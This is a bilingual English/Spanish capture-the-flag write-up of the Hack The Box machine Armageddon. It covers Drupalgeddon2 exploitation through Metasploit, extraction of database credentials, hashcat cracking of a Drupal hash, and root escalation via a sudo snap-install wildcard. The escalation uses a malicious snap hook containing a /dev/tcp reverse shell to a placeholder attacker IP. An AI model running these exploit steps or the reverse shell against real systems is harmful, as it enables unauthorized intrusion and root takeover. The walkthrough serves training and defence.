Armageddon
Executive summary — Armageddon is an Easy Linux box on CentOS 7 that opens with Drupalgeddon2 (CVE-2018-7600), an unauthenticated RCE in Drupal 7. From the resulting
apacheshell we read MySQL credentials out ofsettings.php, dump Drupal's users table and crackbrucetherealadmin's hash to SSH in. The final escalation abuses a misconfiguredsudorule (NOPASSWD: /usr/bin/snap install *) by packaging a malicious snap whose install hook runs as root. A Drupalgeddon2 → settings.php → MySQL → cracked hash → SSH → sudo snap install → root path.
| Platform | Hack The Box |
| Operating system | Linux — CentOS 7 (Apache 2.4.6 + PHP 5.4.16) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.48.89 |
Attack map
[80] Drupal 7 (CentOS 7, Apache 2.4.6, PHP 5.4.16)
│ CVE-2018-7600 (Drupalgeddon2) — Forms API property injection
│ via form_build_id → unauth RCE → apache
▼
[FILE] sites/default/settings.php → cleartext MySQL credentials (drupaluser)
│ mysql -u drupaluser drupal → users table → brucetherealadmin's Drupal 7 hash
▼
[HASH] $S$... (Drupal 7, salted SHA-512) → hashcat -m 7900 + rockyou → booboo
▼
[SSH] brucetherealadmin : booboo (user.txt)
│ sudo -l → NOPASSWD: /usr/bin/snap install * (unrestricted wildcard)
▼
[ROOT] malicious snap (fpm) with an install hook → reverse shell as root (root.txt)
1. Reconnaissance
We add the box to /etc/hosts and run a full port scan:
echo "10.129.48.89 armageddon.htb" | sudo tee -a /etc/hosts
nmap -sC -sV -p- armageddon.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 (CentOS) PHP/5.4.16
CentOS 7 with Apache 2.4.6 and PHP 5.4.16 (EOL for years) already points to an unmaintained stack. We confirm the CMS with
curl:
curl -s http://armageddon.htb/ | grep -i drupal
The <meta name="Generator" content="Drupal 7 …"> tag and robots.txt (with Drupal's typical /modules, /themes, /sites paths) confirm Drupal 7, vulnerable to Drupalgeddon2 if unpatched.
Resumen ejecutivo — Armageddon es un Linux Easy sobre CentOS 7 que arranca con Drupalgeddon2 (CVE-2018-7600), una RCE sin autenticación en Drupal 7. Desde la shell como
apachese leen las credenciales de MySQL ensettings.php, se vuelca la tabla de usuarios de Drupal y se craquea el hash debrucetherealadminpara entrar por SSH. La escalada final abusa de una regla desudomal configurada (NOPASSWD: /usr/bin/snap install *) empaquetando un snap malicioso cuyo hook de instalación se ejecuta como root. Recorrido Drupalgeddon2 → settings.php → MySQL → hash crackeado → SSH → sudo snap install → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux — CentOS 7 (Apache 2.4.6 + PHP 5.4.16) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.48.89 |
Mapa del ataque
[80] Drupal 7 (CentOS 7, Apache 2.4.6, PHP 5.4.16)
│ CVE-2018-7600 (Drupalgeddon2) — inyección de propiedades en la Forms API
│ vía form_build_id → RCE sin auth → apache
▼
[FILE] sites/default/settings.php → credenciales MySQL en claro (drupaluser)
│ mysql -u drupaluser drupal → tabla users → hash Drupal 7 de brucetherealadmin
▼
[HASH] $S$... (Drupal 7, SHA-512 salteado) → hashcat -m 7900 + rockyou → booboo
▼
[SSH] brucetherealadmin : booboo (user.txt)
│ sudo -l → NOPASSWD: /usr/bin/snap install * (wildcard sin restricción)
▼
[ROOT] snap malicioso (fpm) con hook install → reverse shell como root (root.txt)
1. Reconocimiento
Añadimos la máquina a /etc/hosts y lanzamos un escaneo completo de puertos:
echo "10.129.48.89 armageddon.htb" | sudo tee -a /etc/hosts
nmap -sC -sV -p- armageddon.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 (CentOS) PHP/5.4.16
CentOS 7 con Apache 2.4.6 y PHP 5.4.16 (EOL desde hace años) ya apunta a una pila sin mantenimiento. Confirmamos el CMS con
curl:
curl -s http://armageddon.htb/ | grep -i drupal
La etiqueta <meta name="Generator" content="Drupal 7 …"> y el robots.txt (con las rutas típicas /modules, /themes, /sites) confirman Drupal 7, vulnerable a Drupalgeddon2 si no está parcheado.
2. Foothold — Drupalgeddon2 (CVE-2018-7600)
What it is: Drupal 7/8 insufficiently validates the form_build_id parameter of its Forms API. An attacker can instead submit an array with injected properties (property injection) that Drupal processes as part of the form's render pipeline, resulting in arbitrary PHP execution with no session or CSRF token needed. Metasploit ships a ready-made module:
msfconsole
search drupalgedon
exploit/unix/webapp/drupal_drupalgeddon2 - Drupal Drupalgeddon 2 Forms API Property Injection
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS armageddon.htb
set LHOST <ATTACKER_IP>
set LPORT 4444
exploit
The exploit opens a Meterpreter session.
shelldrops us into a standard shell where we confirm the web process's user:
shell
whoami
apache
3. MySQL credentials and user hash
In Drupal, all database credentials live in sites/default/settings.php (the sites/ directory already showed up in robots.txt during recon):
cat /var/www/html/sites/default/settings.php | grep -A 10 "databases"
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
With those credentials we log into MySQL and query Drupal's users table, where the hashes live:
mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -h localhost drupal
show tables;
select * from users;
uid name pass mail
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu
The hash starts with
$S$: Drupal 7's own format (phpass-based, salted SHA-512).
4. Cracking the Drupal 7 hash
It's a one-way hash, so we run a dictionary attack. Hashcat recognizes it as mode 7900:
echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > /tmp/drupal_hash.txt
gunzip /usr/share/wordlists/rockyou.txt.gz
hashcat -m 7900 /tmp/drupal_hash.txt /usr/share/wordlists/rockyou.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
Status: Cracked
Recovered: 1/1
5. SSH access and user flag
SSH as
brucetherealadmin:booboobeats theapachewebshell: a stable session,scpavailable, and better footing to exploresudo.
ssh brucetherealadmin@armageddon.htb # booboo
id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin)
cat user.txt
6. Escalation — a sudo rule over snap install
sudo -l
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
Why this is exploitable: the wildcard (
*) lets us install any.snappackage as root with no password. A snap can ship lifecycle scripts (hooks) —install,remove,configure… — undermeta/hooks/, whichsnapdruns automatically at each stage. If we package our own unsigned.snapwith a maliciousinstallhook,sudo snap installruns it as root. Note: this is a misused sudoers wildcard rule (a technique documented on GTFOBins forsnap), not thesnapdflaw known as dirty_sock (CVE-2019-7304) — that separate bug abuses snapd's REST API over a fake UNIX socket to self-escalate without needing any sudo rights at all.
On our Kali box we build the package: a directory with an install hook that fires a reverse shell:
mkdir -p /tmp/revshell_snap/meta/hooks
printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1"\n' > /tmp/revshell_snap/meta/hooks/install
chmod a+x /tmp/revshell_snap/meta/hooks/install
We package it with fpm (Effing Package Manager) in snap format:
cd /tmp/revshell_snap
fpm -n revshell -s dir -t snap -a all ./meta
Created package {:path=>"revshell_1.0_all.snap"}
We transfer the snap over SCP and leave a listener waiting for the connection:
scp /tmp/revshell_snap/revshell_1.0_all.snap brucetherealadmin@armageddon.htb:/home/brucetherealadmin/
nc -lvnp 4445
From the SSH session, we install the malicious snap with sudo:
sudo snap install ~/revshell_1.0_all.snap --dangerous --devmode
--dangerousallows installing unsigned snaps (outside the Snap Store);--devmodeinstalls it unconfined, without the AppArmor restrictions that could otherwise block the hook's reverse shell.
The listener catches the connection, already as root:
Connection received on 10.129.48.89 xxxxx
bash: no job control in this shell
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
7. Root flag
cat /root/root.txt
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Drupal 7 (Forms API) | CVE-2018-7600 (Drupalgeddon2): property injection via form_build_id, unauth RCE | RCE as apache |
| Credential exposure | settings.php + MySQL | Cleartext DB credentials in config + dictionary-crackable Drupal 7 hash | SSH as brucetherealadmin (user.txt) |
| PrivEsc | sudoers (/usr/bin/snap install *) | Unrestricted wildcard: a custom snap's install hook runs as root | Root (root.txt) |
Lessons learned
- Unpatched Drupal 7 = unauth RCE (Drupalgeddon2). Update the CMS or migrate off it before end of support.
- Cleartext credentials in
settings.php: compromise the webroot and you compromise the whole database. - CMS hashes are crackable: use strong passwords and never reuse them across services (here the same one worked for SSH).
- Never use wildcards in sudoers with binaries that can run arbitrary code (package managers, interpreters, editors…): pin exact paths and arguments.
- Snap hooks (
install,remove,configure) run with the privileges of whoever invokessnap install: if that's root via sudo, the hook is root too.
2. Foothold — Drupalgeddon2 (CVE-2018-7600)
Qué es: Drupal 7/8 valida de forma insuficiente el parámetro form_build_id de su Forms API. Un atacante puede enviar en su lugar un array con propiedades inyectadas (property injection) que Drupal procesa como parte del renderizado del formulario, ejecutando código PHP arbitrario sin necesidad de sesión ni token CSRF. Metasploit trae el módulo listo:
msfconsole
search drupalgedon
exploit/unix/webapp/drupal_drupalgeddon2 - Drupal Drupalgeddon 2 Forms API Property Injection
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS armageddon.htb
set LHOST <ATTACKER_IP>
set LPORT 4444
exploit
El exploit abre una sesión Meterpreter. Con
shellpasamos a una shell estándar y confirmamos el usuario del proceso web:
shell
whoami
apache
3. Credenciales MySQL y hash de usuario
En Drupal, todas las credenciales de la base de datos viven en sites/default/settings.php (el directorio sites/ ya había aparecido en robots.txt durante el reconocimiento):
cat /var/www/html/sites/default/settings.php | grep -A 10 "databases"
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
Con esas credenciales entramos a MySQL y consultamos la tabla users de Drupal, donde se guardan los hashes:
mysql -u drupaluser -p'CQHEy@9M*m23gBVj' -h localhost drupal
show tables;
select * from users;
uid name pass mail
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu
El hash empieza por
$S$: es el formato propio de Drupal 7 (SHA-512 salteado, sobre phpass).
4. Crackear el hash de Drupal 7
Es un hash unidireccional, así que probamos un ataque de diccionario. Hashcat lo identifica con el modo 7900:
echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > /tmp/drupal_hash.txt
gunzip /usr/share/wordlists/rockyou.txt.gz
hashcat -m 7900 /tmp/drupal_hash.txt /usr/share/wordlists/rockyou.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
Status: Cracked
Recovered: 1/1
5. Acceso SSH y user flag
SSH con
brucetherealadmin:boobooes más cómodo que la webshell deapache: sesión estable,scpdisponible y mejor terreno para explorarsudo.
ssh brucetherealadmin@armageddon.htb # booboo
id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin)
cat user.txt
6. Escalada — regla sudo sobre snap install
sudo -l
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
Por qué es explotable: el comodín (
*) permite instalar cualquier paquete.snapcomo root y sin contraseña. Un snap puede incluir scripts de ciclo de vida (hooks) —install,remove,configure… — bajometa/hooks/, quesnapdejecuta automáticamente en cada fase. Si empaquetamos nuestro propio.snapsin firmar con un hookinstallmalicioso,sudo snap installlo ejecuta como root. Nota: esto es un mal uso de una regla sudoers con comodín (técnica documentada en GTFOBins parasnap), no la vulnerabilidad desnapdconocida como dirty_sock (CVE-2019-7304) — esa otra abusa del socket UNIX de la API REST desnapdpara autoescalar sin necesitar ningún privilegio de sudo.
En nuestro Kali preparamos el paquete: un directorio con el hook install que lanza una reverse shell:
mkdir -p /tmp/revshell_snap/meta/hooks
printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1"\n' > /tmp/revshell_snap/meta/hooks/install
chmod a+x /tmp/revshell_snap/meta/hooks/install
Empaquetamos con fpm (Effing Package Manager) en formato snap:
cd /tmp/revshell_snap
fpm -n revshell -s dir -t snap -a all ./meta
Created package {:path=>"revshell_1.0_all.snap"}
Transferimos el snap por SCP y dejamos un listener esperando la conexión:
scp /tmp/revshell_snap/revshell_1.0_all.snap brucetherealadmin@armageddon.htb:/home/brucetherealadmin/
nc -lvnp 4445
Desde la sesión SSH, instalamos el snap malicioso con sudo:
sudo snap install ~/revshell_1.0_all.snap --dangerous --devmode
--dangerouspermite instalar snaps sin firmar (fuera del Snap Store);--devmodelo instala unconfined, sin las restricciones de AppArmor que podrían bloquear la reverse shell del hook.
En el listener recibimos la conexión, ya como root:
Connection received on 10.129.48.89 xxxxx
bash: no job control in this shell
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
7. Root flag
cat /root/root.txt
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Drupal 7 (Forms API) | CVE-2018-7600 (Drupalgeddon2): inyección de propiedades vía form_build_id, RCE sin auth | RCE como apache |
| Exposición de credenciales | settings.php + MySQL | Credenciales de BD en claro en el config + hash Drupal 7 crackeable con diccionario | SSH como brucetherealadmin (user.txt) |
| PrivEsc | sudoers (/usr/bin/snap install *) | Comodín sin restricción: un hook de instalación de un snap propio se ejecuta como root | Root (root.txt) |
Lecciones aprendidas
- Drupal 7 sin parchear = RCE sin auth (Drupalgeddon2). Actualiza el CMS o migra antes del fin de soporte.
- Credenciales en
settings.phpen texto claro: si se compromete el webroot, se compromete la base de datos entera. - Los hashes de CMS son crackeables: usa contraseñas fuertes y nunca las reutilices entre servicios (aquí la misma sirvió para SSH).
- Nunca uses comodines en sudoers con binarios que puedan ejecutar código arbitrario (gestores de paquetes, intérpretes, editores…): especifica rutas y argumentos exactos.
- Los hooks de snap (
install,remove,configure) corren con los privilegios de quien invocasnap install: si ese comando es root vía sudo, el hook también lo es.